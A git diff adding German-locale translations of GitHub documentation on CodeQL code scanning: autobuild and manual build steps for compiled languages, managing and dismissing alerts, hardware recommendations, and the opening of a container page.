+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Actions
+  - Repositories
+  - C/C++
+  - C#
+  - Java
+ms.openlocfilehash: 91983e79a6381b4a38cbb1de4f6d7f228637b192
+ms.sourcegitcommit: b617c4a7a1e4bf2de3987a86e0eb217d7031490f
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/11/2022
+ms.locfileid: '148161199'
+---
+{% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %}
+
+## Informationen zum {% data variables.code-scanning.codeql_workflow %} und kompilierten Sprachen
+
+Um {% data variables.product.prodname_dotcom %} für das {% data variables.product.prodname_code_scanning %} deines Repositorys zu konfigurieren, musst du dem Repository einen {% data variables.product.prodname_actions %}-Workflow hinzufügen. Für {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} füge {% data variables.code-scanning.codeql_workflow %} hinzu. Weitere Informationen findest du unter [Einrichten des {% data variables.product.prodname_code_scanning %} für ein Repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository).
+
+{% data reusables.code-scanning.edit-workflow %} Allgemeine Informationen zum Konfigurieren des {% data variables.product.prodname_code_scanning %} und zum Bearbeiten von Workflowdateien findest du unter [Konfigurieren von {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning) und [Einführung in {% data variables.product.prodname_actions %}](/actions/learn-github-actions).
+
+##  Informationen zu „autobuild“ für {% data variables.product.prodname_codeql %}
+
+{% data variables.product.prodname_code_scanning_capc %} funktioniert durch die Ausführung von Abfragen einer oder mehrerer Datenbanken. Jede Datenbank enthält eine Darstellung des gesamten Codes, der in einer einzelnen Sprache in deinem Repository vorliegt.   
+In den kompilierten Sprachen C/C++, C#{% ifversion codeql-go-autobuild %}, Go{% endif %} und Java müssen beim Auffüllen dieser Datenbank zunächst der Code kompiliert und Daten extrahiert werden. {% data reusables.code-scanning.analyze-go %}
+
+{% data reusables.code-scanning.autobuild-compiled-languages %}
+
+Wenn dein Workflow eine `language`-Matrix verwendet, versucht `autobuild`, jede der kompilierten Sprachen zu kompilieren, die in der Matrix aufgeführt ist. Ohne eine Matrix, versucht `autobuild`, die unterstützte kompilierte Sprache mit den meisten Quelldateien im Repository zu kompilieren. Mit Ausnahme von Go schlägt die Analyse anderer kompilierter Sprachen in deinem Repository fehl, sofern du keine expliziten Buildbefehle angibst.
+
+{% note %}
+
+{% ifversion ghae %} **Hinweis:** {% data reusables.actions.self-hosted-runners-software %} {% else %} **Hinweis:** Wenn du selbst gehostete Runner für {% data variables.product.prodname_actions %} verwendest, musst du möglicherweise zusätzliche Software für den `autobuild`-Prozess installieren. Wenn dein Repository zudem eine bestimmte Version eines Buildtools erfordert, musst du dieses möglicherweise manuell installieren. Weitere Informationen findest du unter [Spezifikationen für auf {% data variables.product.prodname_dotcom %} gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+{% endnote %}
+
+### C/C++
+
+| Unterstütztes System | Systemname |
+|----|----|
+| Betriebssystem | Windows, macOS und Linux |
+| Buildsystem | Windows: MSbuild und Buildskripts<br/>Linux und macOS: Autoconf, Make, CMake, qmake, Meson, Waf, SCons, Linux Kbuild und Buildskripts |
+
+Das Verhalten des `autobuild`-Schritts variiert je nach Betriebssystem, auf dem die Extraktion ausgeführt wird. Unter Windows versucht der `autobuild`-Schritt, mit dem folgenden Ansatz automatisch eine geeignete Buildmethode für C/C++ zu erkennen:
+
+1. Für die Projektmappe (`.sln`) oder Projektdatei (`.vcxproj`), die sich am nächsten beim Stamm befindet, wird `MSBuild.exe` aufgerufen.
+Wenn `autobuild` mehrere Projektmappen oder Projektdateien mit dem gleichen (kürzesten) Abstand zum obersten Verzeichnis erkennt, versucht autobuild, alle zu kompilieren.
+2. Ein Skript wird aufgerufen, das wie ein Buildskript aussieht: _build.bat_, _build.cmd_ und _build.exe_ (in dieser Reihenfolge).
+
+Unter Linux und macOS werden die im Repository vorhandenen Dateien vom `autobuild`-Schritt überprüft, um das verwendete Buildsystem zu bestimmen:
+
+1. Im Stammverzeichnis wird nach einem Buildsystem gesucht.
+2. Wenn keines gefunden wird, werden die Unterverzeichnisse nach einem eindeutigen Verzeichnis mit einem Buildsystem für C/C++ durchsucht.
+3. Ein passender Befehl wird ausgeführt, um das System zu konfigurieren. 
+
+### C#
+
+| Unterstütztes System | Systemname |
+|----|----|
+| Betriebssystem | Windows und Linux |
+| Buildsystem | .NET und MSbuild sowie Buildskripts |
+
+Der `autobuild`-Prozess versucht, mit dem folgenden Ansatz automatisch eine geeignete Buildmethode für C# zu erkennen:
+
+1. Für die Projektmappe (`.sln`) oder Projektdatei (`.csproj`), die sich am nächsten beim Stamm befindet, wird `dotnet build` aufgerufen.
+2. Für die Projektmappe oder Projektdatei, die sich am nächsten beim Stamm befindet, wird `MSbuild` (Linux) oder `MSBuild.exe` (Windows) aufgerufen.
+Wenn `autobuild` mehrere Projektmappen oder Projektdateien mit dem gleichen (kürzesten) Abstand zum obersten Verzeichnis erkennt, versucht autobuild, alle zu kompilieren.
+3. Ein Skript wird aufgerufen, das wie ein Buildskript aussieht: _build_ und _build.sh_ (für Linux in dieser Reihenfolge) oder _build.bat_, _build.cmd_ und _build.exe_ (für Windows in dieser Reihenfolge).
+
+{% ifversion codeql-go-autobuild %}
+
+### Go
+
+| Unterstütztes System | Systemname |
+|----|----|
+| Betriebssystem | Windows, macOS und Linux |
+| Buildsystem | Go-Module, `dep` und Glide sowie Buildskripts, einschließlich Makefiles und Ninja-Skripts |
+
+Der `autobuild`-Prozess versucht, automatisch einen geeigneten Weg zu finden, die von einem Go-Repository benötigten Abhängigkeiten zu installieren, bevor alle `.go`-Dateien extrahiert werden:
+
+1. Rufe `make`, `ninja`, `./build` oder `./build.sh` (in dieser Reihenfolge) auf, bis einer dieser Befehle und ein nachfolgendes `go list ./...` auch erfolgreich ist, was zeigt, dass die erforderlichen Abhängigkeiten installiert wurden.
+2. Wenn keiner dieser Befehle erfolgreich war, suche nach `go.mod`, `Gopkg.toml` oder `glide.yaml` und führe entsprechend `go get` (sofern Vendoring nicht verwendet wird), `dep ensure -v` oder `glide install` aus, um zu versuchen, Abhängigkeiten zu installieren.
+3. Wenn keine Konfigurationsdateien für diese Abhängigkeits-Manager gefunden werden, ordne schließlich die Repositoryverzeichnisstruktur so neu an, dass sie `GOPATH` hinzugefügt werden kann, und installiere mit `go get` Abhängigkeiten. Die Verzeichnisstruktur wird nach Abschluss der Extraktion in die Normalität zurückgesetzt.
+4. Extrahiere den gesamten Go-Code im Repository, ähnlich der Ausführung von `go build ./...`.
+
+{% endif %}
+
+### Java
+
+| Unterstütztes System | Systemname |
+|----|----|
+| Betriebssystem | Windows, macOS und Linux (keine Einschränkung) |
+| Buildsystem | Gradle, Maven und Ant |
+
+Der `autobuild`-Prozess versucht, mithilfe dieser Strategie das Buildsystem für Java-Codebasen zu bestimmen:
+
+1. Im Stammverzeichnis wird nach einer Builddatei gesucht. Eine Prüfung auf Gradle-, dann Maven-, dann Ant-Builddateien erfolgt.
+2. Die erste gefundene Builddatei wird ausgeführt. Wenn sowohl Gradle- als auch Maven-Dateien vorhanden sind, wird die Gradle-Datei verwendet.
+3. Andernfalls wird in direkten Unterverzeichnissen des Stammverzeichnisses nach Builddateien gesucht. Wenn nur ein Unterverzeichnis Builddateien enthält, wird die erste Datei ausgeführt, die in diesem Unterverzeichnis ermittelt wurde (mit derselben Einstellung wie für 1). Wenn mehrere Unterverzeichnisse Builddateien enthalten, wird ein Fehler gemeldet.
+
+## Hinzufügen von Buildschritten für eine kompilierte Sprache
+
+{% data reusables.code-scanning.autobuild-add-build-steps %} Informationen zum Bearbeiten der Workflowdatei findest du unter [Konfigurieren des {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning#editing-a-code-scanning-workflow).
+
+Nachdem du den `autobuild`-Schritt entfernt hast, hebe die Auskommentierung für den `run`-Schritt auf, und füge für dein Repository geeignete Buildbefehle hinzu. Der `run`-Schritt des Workflows führt Befehlszeilenprogramme mithilfe der Shell des Betriebssystems aus. Du kannst diese Befehle ändern und weitere Befehle hinzufügen, um den Buildprozess anzupassen.
+
+``` yaml
+- run: |
+    make bootstrap
+    make release
+```
+
+Weitere Informationen zum Schlüsselwort `run` findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun).
+
+Wenn dein Repository mehrere kompilierte Sprachen enthält, kannst du sprachspezifische Buildbefehle angeben. Wenn dein Repository z. B. C/C++-, C#- und Java-Code enthält und `autobuild` C/C++ und C# ordnungsgemäß kompilieren kann, jedoch nicht Java, kannst du nach dem `init`-Schritt die folgende Konfiguration in deinem Workflow verwenden. Hiermit werden Buildschritte für Java angegeben, während weiterhin `autobuild` für C/C++ und C# verwendet wird:
+
+```yaml
+- if: matrix.language == 'cpp' || matrix.language == 'csharp' 
+  name: Autobuild
+  uses: {% data reusables.actions.action-codeql-action-autobuild %}
+
+- if: matrix.language == 'java' 
+  name: Build Java
+  run: |
+    make bootstrap
+    make release
+```
+
+Weitere Informationen zur `if`-Bedingung findest du unter [Workflowsyntax für GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif).
+
+Weitere Tipps und Tricks bei Buildproblemen mit `autobuild` findest du unter [Problembehandlung des {% data variables.product.prodname_codeql %}-Workflows](/code-security/secure-coding/troubleshooting-the-codeql-workflow).
+
+Wenn du manuelle Buildschritte für kompilierte Sprachen hinzugefügt hast und {% data variables.product.prodname_code_scanning %} in deinem Repository noch immer nicht funktioniert, kontaktiere {% data variables.contact.contact_support %}.
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md
new file mode 100644
index 0000000000..980efafb2b
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/index.md
@@ -0,0 +1,38 @@
+---
+title: Automatisches Scannen des Codes auf Sicherheitsrisiken und Fehler
+shortTitle: Scan code automatically
+intro: 'Im Projektcode auf {% data variables.product.prodname_dotcom %} findest du Sicherheitsrisiken und Fehler und kannst die zugehörigen {% data variables.product.prodname_code_scanning %}-Warnungen anzeigen, auswählen, verstehen und schließlich auflösen.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/automatically-scanning-your-code-for-vulnerabilities-and-errors
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+children:
+  - /about-code-scanning
+  - /about-code-scanning-alerts
+  - /triaging-code-scanning-alerts-in-pull-requests
+  - /setting-up-code-scanning-for-a-repository
+  - /managing-code-scanning-alerts-for-your-repository
+  - /tracking-code-scanning-alerts-in-issues-using-task-lists
+  - /configuring-code-scanning
+  - /about-code-scanning-with-codeql
+  - /recommended-hardware-resources-for-running-codeql
+  - /configuring-the-codeql-workflow-for-compiled-languages
+  - /troubleshooting-the-codeql-workflow
+  - /running-codeql-code-scanning-in-a-container
+  - /viewing-code-scanning-logs
+ms.openlocfilehash: 1024f707aee96ebeee6e941b3ee018267148535f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145085560'
+---
+
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md
new file mode 100644
index 0000000000..ca20d1b9a1
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository.md
@@ -0,0 +1,227 @@
+---
+title: Managing code scanning alerts for your repository
+shortTitle: Manage alerts
+intro: 'From the security view, {% ifversion delete-code-scanning-alerts %}you can view, fix, dismiss, or delete alerts {% else %}you can view, fix, or dismiss alerts{% endif %} for potential vulnerabilities or errors in your project''s code.'
+product: '{% data reusables.gated-features.code-scanning %}'
+permissions: 'If you have write permission to a repository you can manage {% data variables.product.prodname_code_scanning %} alerts for that repository.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /github/managing-security-vulnerabilities/managing-alerts-from-automated-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-alerts-from-code-scanning
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/managing-code-scanning-alerts-for-your-repository
+  - /code-security/secure-coding/managing-code-scanning-alerts-for-your-repository
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/managing-code-scanning-alerts-for-your-repository
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - Alerts
+  - Repositories
+---
+
+{% data reusables.code-scanning.beta %}
+
+## Viewing the alerts for a repository
+
+Anyone with read permission for a repository can see {% data variables.product.prodname_code_scanning %} annotations on pull requests. For more information, see "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
+
+You need write permission to view a summary of all the alerts for a repository on the **Security** tab.
+
+By default, the code scanning alerts page is filtered to show alerts for the default branch of the repository only.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-code-scanning-alerts %}
+1. Optionally, use the free text search box or the drop-down menus to filter alerts. For example, you can filter by the tool that was used to identify alerts.
+   ![Filter by tool](/assets/images/help/repository/code-scanning-filter-by-tool.png)
+{% data reusables.code-scanning.explore-alert %}
+![Summary of alerts](/assets/images/help/repository/code-scanning-click-alert.png)
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+   {% data reusables.code-scanning.alert-default-branch %}
+   ![The "Affected branches" section in an alert](/assets/images/help/repository/code-scanning-affected-branches.png){% endif %}
+1. Optionally, if the alert highlights a problem with data flow, click **Show paths** to display the path from the data source to the sink where it's used.
+  {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+   ![The "Show paths" link on an alert](/assets/images/help/repository/code-scanning-show-paths.png)
+   {% else %}
+   ![The "Show paths" link on an alert](/assets/images/enterprise/3.4/repository/code-scanning-show-paths.png)
+   {% endif %}
+2. Alerts from {% data variables.product.prodname_codeql %} analysis include a description of the problem. Click **Show more** for guidance on how to fix your code.
+   ![Details for an alert](/assets/images/help/repository/code-scanning-alert-details.png)
+
+For more information, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts)."
+
+{% note %}
+
+**Note:** For {% data variables.product.prodname_code_scanning %} analysis with {% data variables.product.prodname_codeql %}, you can see information about the latest run in a header at the top of the list of {% data variables.product.prodname_code_scanning %} alerts for the repository. 
+
+For example, you can see when the last scan ran, the number of lines of code analyzed compared to the total number of lines of code in your repository, and the total number of alerts that were generated.
+  ![UI banner](/assets/images/help/repository/code-scanning-ui-banner.png)
+
+{% endnote %}
+
+## Filtering {% data variables.product.prodname_code_scanning %} alerts
+
+You can filter the alerts shown in the {% data variables.product.prodname_code_scanning %} alerts view. This is useful if there are many alerts as you can focus on a particular type of alert. There are some predefined filters and a range of keywords that you can use to refine the list of alerts displayed. 
+
+- To use a predefined filter, click **Filters**, or a filter shown in the header of the list of alerts, and choose a filter from the drop-down list.
+  {% ifversion fpt or ghes or ghec %}![Predefined filters](/assets/images/help/repository/code-scanning-predefined-filters.png)
+  {% else %}![Predefined filters](/assets/images/enterprise/3.0/code-scanning-predefined-filters.png){% endif %}
+- To use a keyword, either type directly in the filters text box, or:
+  1. Click in the filters text box to show a list of all available filter keywords.
+  2. Click the keyword you want to use and then choose a value from the drop-down list.
+  ![Keyword filters list](/assets/images/help/repository/code-scanning-filter-keywords.png)
+
+The benefit of using keyword filters is that only values with results are shown in the drop-down lists. This makes it easy to avoid setting filters that find no results.
+
+If you enter multiple filters, the view will show alerts matching _all_ these filters. For example, `is:closed severity:high branch:main` will only display closed high-severity alerts that are present on the `main` branch. The exception is filters relating to refs (`ref`, `branch` and `pr`): `is:open branch:main branch:next` will show you open alerts from both the `main` branch and the `next` branch.
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.code-scanning.filter-non-default-branches %}
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghec %}
+
+You can prefix the `tag` filter with `-` to exclude results with that tag. For example, `-tag:style` only shows alerts that do not have the `style` tag{% ifversion codeql-ml-queries %} and `-tag:experimental` will omit all experimental alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %} alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-experimental-alerts)."{% else %}.{% endif %}
+
+{% endif %}
+
+### Restricting results to application code only
+
+You can use the "Only alerts in application code" filter or `autofilter:true` keyword and value to restrict results to alerts in application code. See "[About labels for alerts not in application code](#about-labels-for-alerts-that-are-not-found-in-application-code)" above for more information about the types of code that are not application code.
+
+{% ifversion fpt or ghes or ghec %}
+
+## Searching {% data variables.product.prodname_code_scanning %} alerts
+
+You can search the list of alerts. This is useful if there is a large number of alerts in your repository, or if you don't know the exact name for an alert for example. {% data variables.product.product_name %} performs the free text search across:
+- The name of the alert
+- The alert details (this also includes the information hidden from view by default in the **Show more** collapsible section)
+ {% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+ ![The alert information used in searches](/assets/images/help/repository/code-scanning-free-text-search-areas.png)
+ {% else %}
+ ![The alert information used in searches](/assets/images/enterprise/3.4/repository/code-scanning-free-text-search-areas.png)
+ {% endif %}
+
+| Supported search | Syntax example | Results |
+| ---- | ---- | ---- |
+| Single word search | `injection` | Returns all the alerts containing the word `injection` |
+| Multiple word search | `sql injection` | Returns all the alerts containing `sql` or `injection` |
+| Exact match search</br>(use double quotes) |  `"sql injection"` | Returns all the alerts containing the exact phrase `sql injection` |
+| OR search | `sql OR injection` | Returns all the alerts containing `sql` or `injection` |
+| AND search | `sql AND injection` | Returns all the alerts containing both words `sql` and `injection` | 
+
+{% tip %}
+
+**Tips:** 
+- The multiple word search is equivalent to an OR search.
+- The AND search will return results where the search terms are found _anywhere_, in any order in the alert name or details.
+
+{% endtip %}
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-code-scanning-alerts %}
+1. To the right of the **Filters** drop-down menus, type the keywords to search for in the free text search box.
+  ![The free text search box](/assets/images/help/repository/code-scanning-search-alerts.png)
+2. Press <kbd>return</kbd>. The alert listing will contain the open {% data variables.product.prodname_code_scanning %} alerts matching your search criteria.
+
+{% endif %}
+
+{% ifversion code-scanning-task-lists %}
+## Tracking {% data variables.product.prodname_code_scanning %} alerts in issues
+
+{% data reusables.code-scanning.beta-alert-tracking-in-issues %}
+{% data reusables.code-scanning.github-issues-integration %}
+{% data reusables.code-scanning.alert-tracking-link %}
+
+{% endif %}
+
+## Fixing an alert
+
+Anyone with write permission for a repository can fix an alert by committing a correction to the code. If the repository has {% data variables.product.prodname_code_scanning %} scheduled to run on pull requests, it's best to raise a pull request with your correction. This will trigger {% data variables.product.prodname_code_scanning %} analysis of the changes and test that your fix doesn't introduce any new problems. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)."
+
+If you have write permission for a repository, you can view fixed alerts by viewing the summary of alerts and clicking **Closed**. For more information, see "[Viewing the alerts for a repository](#viewing-the-alerts-for-a-repository)." The "Closed" list shows fixed alerts and alerts that users have dismissed.
+
+You can use the free text search or the filters to display a subset of alerts and then in turn mark all matching alerts as closed. 
+
+Alerts may be fixed in one branch but not in another. You can use the "Branch" filter, on the summary of alerts, to check whether an alert is fixed in a particular branch.
+
+![Filtering alerts by branch](/assets/images/help/repository/code-scanning-branch-filter.png)
+
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.code-scanning.filter-non-default-branches %}
+{% endif %}
+
+{% ifversion fpt or ghes > 3.4 or ghae > 3.4 or ghec %}
+{% note %}
+
+**Note:** If you run code scanning using multiple configurations, then sometimes an alert will have multiple analysis origins. Unless you run all configurations regularly, you may see alerts that are fixed in one analysis origin but not in another. For more information, see "[About analysis origins](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)."
+
+{% endnote %}
+{% endif %}
+## Dismissing {% ifversion delete-code-scanning-alerts %}or deleting{% endif %} alerts
+
+There are two ways of closing an alert. You can fix the problem in the code, or you can dismiss the alert. {% ifversion delete-code-scanning-alerts %}Alternatively, if you have admin permissions for the repository, you can delete alerts. Deleting alerts is useful in situations where you have set up a {% data variables.product.prodname_code_scanning %} tool and then decided to remove it, or where you have configured {% data variables.product.prodname_codeql %} analysis with a larger set of queries than you want to continue using, and you've then removed some queries from the tool. In both cases, deleting alerts allows you to clean up your {% data variables.product.prodname_code_scanning %} results. You can delete alerts from the summary list within the **Security** tab.{% endif %}
+
+Dismissing an alert is a way of closing an alert that you don't think needs to be fixed. {% data reusables.code-scanning.close-alert-examples %} You can dismiss alerts from {% data variables.product.prodname_code_scanning %} annotations in code, or from the summary list within the **Security** tab.
+
+When you dismiss an alert:
+
+- It's dismissed in all branches.
+- The alert is removed from the number of current alerts for your project.
+- The alert is moved to the "Closed" list in the summary of alerts, from where you can reopen it, if required.
+- The reason why you closed the alert is recorded.{% ifversion comment-dismissed-code-scanning-alert %} 
+- Optionally, you can comment on a dismissal to record the context of an alert dismissal.{% endif %}
+- Next time {% data variables.product.prodname_code_scanning %} runs, the same code won't generate an alert.
+
+{% ifversion delete-code-scanning-alerts %}When you delete an alert:
+
+- It's deleted in all branches.
+- The alert is removed from the number of current alerts for your project.
+- It is _not_ added to the "Closed" list in the summary of alerts.
+- If the code that generated the alert stays the same, and the same {% data variables.product.prodname_code_scanning %} tool runs again without any configuration changes, the alert will be shown again in your analysis results.{% endif %}
+
+To dismiss {% ifversion delete-code-scanning-alerts %}or delete{% endif %} alerts:
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-code-scanning-alerts %}{% ifversion delete-code-scanning-alerts %}
+1. If you have admin permissions for the repository, and you want to delete alerts for this {% data variables.product.prodname_code_scanning %} tool, select some or all of the check boxes and click **Delete**.
+
+   ![Deleting alerts](/assets/images/help/repository/code-scanning-delete-alerts.png)
+
+   Optionally, you can use the free text search or the filters to display a subset of alerts and then delete all matching alerts at once. For example, if you have removed a query from {% data variables.product.prodname_codeql %} analysis, you can use the "Rule" filter to list just the alerts for that query and then select and delete all of those alerts.
+
+{% ifversion ghes or ghae %}
+  ![Filter alerts by rule](/assets/images/help/repository/code-scanning-filter-by-rule.png)
+{% else %}
+  ![Filter alerts by rule](/assets/images/enterprise/3.1/help/repository/code-scanning-filter-by-rule.png)
+{% endif %}{% endif %}
+1. If you want to dismiss an alert, it's important to explore the alert first, so that you can choose the correct dismissal reason. Click the alert you'd like to explore.
+![Open an alert from the summary list](/assets/images/help/repository/code-scanning-click-alert.png)
+{%- ifversion comment-dismissed-code-scanning-alert %}
+1. Review the alert, then click **Dismiss alert** and choose, or type, a reason for closing the alert. 
+  ![Screenshot of code scanning alert with dropdown to choose dismissal reason emphasized](/assets/images/help/repository/code-scanning-alert-dropdown-reason.png)
+{%- else %}
+1. Review the alert, then click **Dismiss** and choose a reason for closing the alert.
+  ![Choosing a reason for dismissing an alert](/assets/images/help/repository/code-scanning-alert-close-drop-down.png)
+{%- endif %}
+   {% data reusables.code-scanning.choose-alert-dismissal-reason %}
+
+   {% data reusables.code-scanning.false-positive-fix-codeql %}
+
+### Dismissing multiple alerts at once
+
+If a project has multiple alerts that you want to dismiss for the same reason, you can bulk dismiss them from the summary of alerts. Typically, you'll want to filter the list and then dismiss all of the matching alerts. For example, you might want to dismiss all of the current alerts in the project that have been tagged for a particular Common Weakness Enumeration (CWE) vulnerability.
+
+## Further reading
+
+- "[Triaging {% data variables.product.prodname_code_scanning %} alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)"
+- "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"
+- "[About integration with {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-integration-with-code-scanning)"
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
new file mode 100644
index 0000000000..1ddf917394
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/recommended-hardware-resources-for-running-codeql.md
@@ -0,0 +1,37 @@
+---
+title: Empfohlene Hardwareressourcen zum Ausführen von CodeQL
+shortTitle: Hardware resources for CodeQL
+intro: 'Empfohlene Spezifikationen (RAM, CPU-Kerne und Datenträger) für die Ausführung einer {% data variables.product.prodname_codeql %}-Analyse auf selbstgehosteten Computern, die auf der Größe deiner Codebasis basieren.'
+product: '{% data reusables.gated-features.code-scanning %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Repositories
+  - Integration
+  - CI
+ms.openlocfilehash: 9f180e28a3207ef64a516a1e6cd6a8bbcf17ea53
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105452'
+---
+Du kannst {% data variables.product.prodname_codeql %} in {% data variables.product.prodname_actions %} oder einem externen CI-System einrichten. {% data variables.product.prodname_codeql %} ist vollständig kompatibel mit {% data variables.product.prodname_dotcom %}-gehosteten Runnern auf {% data variables.product.prodname_actions %}.
+
+Wenn du ein externes CI-System oder selbstgehostete Runner in {% data variables.product.prodname_actions %} für private Repositorys verwendest, bist du für die Konfiguration deiner eigenen Hardware verantwortlich. Die optimale Hardwarekonfiguration für die Ausführung von {% data variables.product.prodname_codeql %} kann je nach Größe und Komplexität deiner Codebasis, den verwendeten Programmiersprachen und Buildsystemen sowie deiner CI-Workfloweinrichtung variieren.
+
+Die folgende Tabelle enthält auf der Größe deiner Codebasis basierende empfohlene Hardwarespezifikationen für die Ausführung der {% data variables.product.prodname_codeql %}-Analyse. Verwende diese als Ausgangspunkt, um deine Hardware oder virtuellen Computer auszuwählen. Ein Computer mit größeren Ressourcen kann die Analyseleistung verbessern, aber auch in der Wartung teurer sein.
+
+| Codebasisgröße | RAM | CPU |
+|--------|--------|--------|
+| Klein (<100 K Codezeilen) | Mindestens 8 GB | 2 Kerne |
+| Mittel (100 K bis 1 M Codezeilen) | Mindestens 16 GB | 4 oder 8 Kerne |
+| Groß (>1 M Codezeilen) | Mindestens 64 GB | 8 Kerne |
+
+Für alle Codebasisgrößen empfehlen wir die Verwendung eines SSD-Datenträgers mit mindestens 14 GB Speicherplatz. Es muss genügend Speicherplatz auf dem Datenträger vorhanden sein, um deinen Code auszuchecken und zu kompilieren, sowie zusätzlicher Speicherplatz für Daten, die von {% data variables.product.prodname_codeql %} erstellt wurden.
diff --git a/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
new file mode 100644
index 0000000000..f658fdd02f
--- /dev/null
+++ b/translations/de-DE/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md
@@ -0,0 +1,104 @@
+---
+title: Ausführen der CodeQL-Codeüberprüfung in einem Container
+shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container'
+intro: 'Du kannst {% data variables.product.prodname_code_scanning %} in einem Container ausführen, indem du sicherstellst, dass alle Prozesse im selben Container ablaufen.'
+product: '{% data reusables.gated-features.code-scanning %}'
+redirect_from:
+  - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container
+  - /code-security/secure-coding/running-codeql-code-scanning-in-a-container
+  - /code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Code scanning
+  - CodeQL
+  - Actions
+  - Repositories
+  - Containers
